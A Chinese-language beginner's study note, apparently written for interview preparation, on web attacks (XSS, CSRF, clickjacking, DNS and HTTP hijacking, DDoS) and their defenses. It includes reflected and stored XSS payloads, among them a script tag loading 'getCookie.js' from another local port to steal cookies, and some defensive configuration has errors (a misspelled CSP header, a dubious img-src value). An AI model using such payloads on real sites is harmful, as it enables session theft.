首先这篇文章是个水文,因为之前对网络攻防一点都不了解。这是篇为了整理面试题所写的,如有错误,敬请通知小福涂。
1、XSS攻击(Cross Site Scripting)
1.1.1、跨站脚本攻击:
因为缩写和css一样所以叫xss,此类攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或Javascript进行的一种攻击。
1.1.2、有可能造成的影响:
1⃣️利用虚假表单骗取用户信息2⃣️利用脚本窃取Cookie值3⃣️显示伪造的内容4⃣️偷取网站任意数据5⃣️劫持前端逻辑6⃣️发送请求......
1.2、XSS攻击分类
1.2.1、反射型-url参数直接注入
//正常情况下的地址
http://localhost:8080/?from=msg
//alert尝试
http://localhost:8080/?from=<script>alert(3)</script>
//获取Cookie
http://localhost:8080/?from=<script src="http://localhost:8090/getCookie.js"></script>
1.2.2、存储型-存储到数据库后读取时注入
假设一个场景,某个论坛的评论功能,在评论区写一些,在页面中执行
//评论
<script>alert(1)</script>
//or
<script src="http:localhost:8090/getCookie.js"></script>
1.3、防范手段
1.3.1、HEAD
ctx.set('X-XSS-Protection',0) //禁止XSS过滤
//http://localhost:8080/?from=<script>alert(3)</script> //伪装后就拦截不了至于怎么伪装小福涂就不懂了
0是禁止XSS过滤。
1是启动XSS过滤,浏览器通常是默认启用的,检测到跨站脚本攻击,浏览器会删除页面不安全的部分。
1;mode=block启用XSS过滤。检测到跨站脚本攻击,浏览器将停止页面加载。
1;report=(Chromium only),启用过滤,检测到跨站脚本攻击,浏览器会清除页面并使用CSP的report-uri指令的功能发送违规报告
developer.mozilla.org/zh-CN/docs/…
1.3.2、CSP
内容安全策略(Content Security Policy)是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,CSP本质上就是建立白名单,开发者明确高速浏览器那些外部资源可以加载和执行。我们只需要对其做配置即可。
//只允许加载本站资源
Content-Security-Policy:default-src 'self'
//只允许加载HTTPS协议图片
Content-Security-Policy:img-src 'https://logo.png'
//不允许加载任何来源框架
Content-Serurity-Policy: child-src 'none'
1.3.3、转义字符
把外部注入的“script”标签通过转义字符渲染到页面上
1.3.4、HttpOnly Cookie
这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应 用程序在设置cookie时,将其 属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户 cookie信息。
response.addHeader("Set-Cookie","uid=112;Path=/;HttpOnly")
2、CSRF
CSRF(Cross Site Request Forgery),即跨站请求伪造,是常见的web攻击,它利用已登陆的用户身份,在用户好毫不知情的情况下,进行非法操作。
2.1、危害
(大家都应该知道的,就不多写了)
2.2、防御
2.2.1、禁止第三方网站带Cookie(兼容性有问题)
2.2.2、Referer Check https不发送referer
app.use(async(ctx,next)=>{
await next()
const referer = ctx.request.header.referer
console.log('Referer:',referer)
})
2.2.3、验证码
3、点击劫持-clickjacking
这个攻击挺好玩的,是在自己的网站里嵌套一个透明iframe,src是被攻击网址。将iframe页面的按钮和自己网站的某个必点按钮位置大小重合在一起。诱导用户攻击
3.1、防御
3.1.1、X-FRAME-OPTIONS
是一个http响应头,就是为了防止iframe嵌套的点击劫持攻击。有三个值可选
ctx.set('X-FRAME-OPTIONS','DENY') //页面不允许通过iframe的方式展示
ctx.set('X-FRAME-OPTIONS','SAMEORIGIN') //允许在相同域名下通过iframe展示
ctx.set('X-FRAME-OPTIONS','ALLOW-FROM')//允许制定来源的iframe展示
3.1.2、JS代码
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
//当通过iframe的方式加载时,攻击者的页面直接不显示所有内容
4、请求劫持
4.1、DNS劫持
DNS服务器被篡改,修改了域名解析的结果,使得访问不到预期的ip地址。常见的场景就是商场的wifi已经链接,但未登陆时,不论访问什么地址,都会访问到登录地址。
4.2、HTTP劫持 运营商被劫持了,好像就只能干等着运营商解决了把。这块还得在研究一下。
5、DDOS(distributed denial of service)
这是一个大类的总称,他有几十种方法,新的方法还在不断更新。网站运行的各个环节,都是可攻击的目标,只要某个环节被攻破都会使服务器瘫痪。前端防御的手段有限。这种类型防御大概只能是软硬件砸钱,提高犯罪成本吧。